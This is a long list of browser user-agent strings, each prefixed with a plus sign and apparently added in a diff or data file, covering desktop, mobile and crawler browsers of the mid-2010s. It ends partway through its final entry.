+Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0) +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727) +Mozilla/5.0 (Linux; Android 5.0.2; VK810 4G Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; SMJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 5.1; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.50 (KHTML, like Gecko) Version/9.0 Safari/601.1.50 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:RESERVED) +Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) MsnBot-Media /1.0b +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/7.0) +Mozilla/5.0 (Linux; Android 5.1.1; SM-G920V Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6680.78.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.102 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T520 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; SM-T900 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.1.2; GT-N8013 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFAPWA Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 +Mozilla/5.0 (Linux; Android 5.0.1; SM-N910V Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T310 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 10 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 7077.123.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Linux; Android 4.4.2; QMV7A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-N900A Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; XT1080 Build/SU6-7.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASJB; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/7.0.1 Safari/537.73.11 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; TNJB; 1ButtonTaskbar) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 635) like Gecko +Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N910P Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 [Pinterest/iOS] +Mozilla/5.0 (Linux; Android 5.0.1; LGLK430 Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 Safari +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/8.0; 1ButtonTaskbar) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; NP08; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T217S Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMSE; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.76 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1; XT1254 Build/SU3TL-39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG-SGH-I337 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFASWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (X11; CrOS armv7l 7077.111.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T800 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.0 Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SM-G900V Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; ATT-IE11; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7) AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5;MSN 11;MSN 11.5; MSNbMSNI; MSNmen-us; MSNcOTH) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; 1ButtonTaskbar) +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 YaBrowser/15.7.2357.2877 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSMSNIP; rv:11.0) like Gecko +Mozilla/5.0 AppleWebKit/999.0 (KHTML, like Gecko) Chrome/99.0 Safari/999.0 +Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; GT-N5110 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12B410 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.7) Gecko/20150824 Firefox/31.9 PaleMoon/25.7.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A4325c Safari/601.1 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3) +Mozilla/5.0 (Linux; Android 4.4.2; RCT6203W46 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; RCT6203W46 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0 +Mozilla/5.0 (Linux; Android 4.4.2; RCT6773W22 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASJB; ASJB; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; 